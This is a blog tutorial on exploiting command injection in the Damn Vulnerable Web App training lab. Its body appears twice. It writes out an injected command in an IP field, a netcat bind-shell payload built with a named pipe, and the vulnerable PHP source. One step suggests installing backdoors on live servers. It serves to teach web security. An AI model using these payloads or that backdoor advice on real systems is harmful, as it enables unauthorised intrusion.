Thursday, 2 February 2012
Command Execution Vulnerability - Damn Vulnerable Web App Part 2
We had earlier worked out the bruteforce vulnerability in dvwa in part 1 of the series of articles on dvwa. Today, in this second part, we will be exploiting the command execution vulnerability within dvwa.
A bit about command execution: Command execution vulnerability is common in PHP-based and other web applications in which malicious attacker can inject the system level commands or codes that will get executed by the call to the system functions. This happens due to the lack of proper sanitization of the user input. Once again it proves the fact that Never trust user data. In our example, we will see direct command execution in the web server caused due to lack of input sanitization before calling the potentially unsafe function.
1) Lets login with our login information and click on the "Command Execution" item in the left navigation menu.
2) A HTML form with "Ping for free" will be available for you. So the input box wants IP address as the input and probably makes use of some system function such as shell_exec() or exec() or maybe system() to ping to the given IP address. First lets test if ping really works or not by typing "127.0.01" in the input textbox. Well we get the ping response and hence we come to know that some kind of system level function is being used to execute the ping command.
3) We have concluded that some PHP in-built function is being used to execute the ping command in the server so use of such functions opens the possibility of injection of our own commands if the input we give is not being filtered. In our case, IP address is the possible input we can play with to find the possible vulnerability. Lets try to tamper the input so I will give "127.0.0.1;ls -lia" (without quotes) as the input and we will check the output to know if our supplied command(ls -lia) gets executed or not. As the screenshot suggests, our command was successfully injected and we were able to see the output of "ls -lia" command.
4) The injected command in the previous step gave us the directory listing but we are hackers and we would like to get some shell access to the system so lets make use of the netcat to get simple shell to the system. Now lets inject the command "127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 13371 > /tmp/pipe" (without quotes) which will create a FIFO(named pipe) in the filesystem so that two processes can access the same pipe(Interprocess communication becomes possible).
5) Now lets see if we got the shell or not by trying to connect to the web server. Now lets fire up the terminal and type the "nc 127.0.0.1 13371" (without quotes) command. If everything has gone well, we should get the shell access and bingo!!! we got the shell access.
6)Now you can do whatever you want to do in the webserver. You could install backdoors for further access if you find such vulnerability in the live servers. Actually possibilities are unlimited, its up to your imagination and creativity once you get shell on the remote server.
Now lets check the source code of the vulnerable file:
As we can see, shell_exec() function is taking the $target variable as the input which actually is supplied by user as the $_REQUEST['ip'] and there isn't any kind of validation of the $target variable. We were hence able to exploit the application through this variable. Next time when you are auditing source code, be sure to check arguments passed to such functions and you might be able to spot remote command execution in many PHP scripts.
I hope this little guide works as a walkthrough for learning basics of web hacking with DVWA. Next part will be up soon.
Part 1 - Bruteforce Vulnerability
A bit about command execution: Command execution vulnerability is common in PHP-based and other web applications in which malicious attacker can inject the system level commands or codes that will get executed by the call to the system functions. This happens due to the lack of proper sanitization of the user input. Once again it proves the fact that Never trust user data. In our example, we will see direct command execution in the web server caused due to lack of input sanitization before calling the potentially unsafe function.
1) Lets login with our login information and click on the "Command Execution" item in the left navigation menu.
2) A HTML form with "Ping for free" will be available for you. So the input box wants IP address as the input and probably makes use of some system function such as shell_exec() or exec() or maybe system() to ping to the given IP address. First lets test if ping really works or not by typing "127.0.01" in the input textbox. Well we get the ping response and hence we come to know that some kind of system level function is being used to execute the ping command.
3) We have concluded that some PHP in-built function is being used to execute the ping command in the server so use of such functions opens the possibility of injection of our own commands if the input we give is not being filtered. In our case, IP address is the possible input we can play with to find the possible vulnerability. Lets try to tamper the input so I will give "127.0.0.1;ls -lia" (without quotes) as the input and we will check the output to know if our supplied command(ls -lia) gets executed or not. As the screenshot suggests, our command was successfully injected and we were able to see the output of "ls -lia" command.
4) The injected command in the previous step gave us the directory listing but we are hackers and we would like to get some shell access to the system so lets make use of the netcat to get simple shell to the system. Now lets inject the command "127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 13371 > /tmp/pipe" (without quotes) which will create a FIFO(named pipe) in the filesystem so that two processes can access the same pipe(Interprocess communication becomes possible).
5) Now lets see if we got the shell or not by trying to connect to the web server. Now lets fire up the terminal and type the "nc 127.0.0.1 13371" (without quotes) command. If everything has gone well, we should get the shell access and bingo!!! we got the shell access.
6)Now you can do whatever you want to do in the webserver. You could install backdoors for further access if you find such vulnerability in the live servers. Actually possibilities are unlimited, its up to your imagination and creativity once you get shell on the remote server.
Now lets check the source code of the vulnerable file:
<?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } ?>
As we can see, shell_exec() function is taking the $target variable as the input which actually is supplied by user as the $_REQUEST['ip'] and there isn't any kind of validation of the $target variable. We were hence able to exploit the application through this variable. Next time when you are auditing source code, be sure to check arguments passed to such functions and you might be able to spot remote command execution in many PHP scripts.
I hope this little guide works as a walkthrough for learning basics of web hacking with DVWA. Next part will be up soon.
Part 1 - Bruteforce Vulnerability
Labels:
damn vulnerable web application,
dvwa,
hacking,
remote code exection,
remote command execution
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Command Execution Vulnerability - Damn Vulnerable Web App Part 2
2012-02-02T18:22:00+05:45
Cool Samar
damn vulnerable web application|dvwa|hacking|remote code exection|remote command execution|
Subscribe to:
Post Comments (Atom)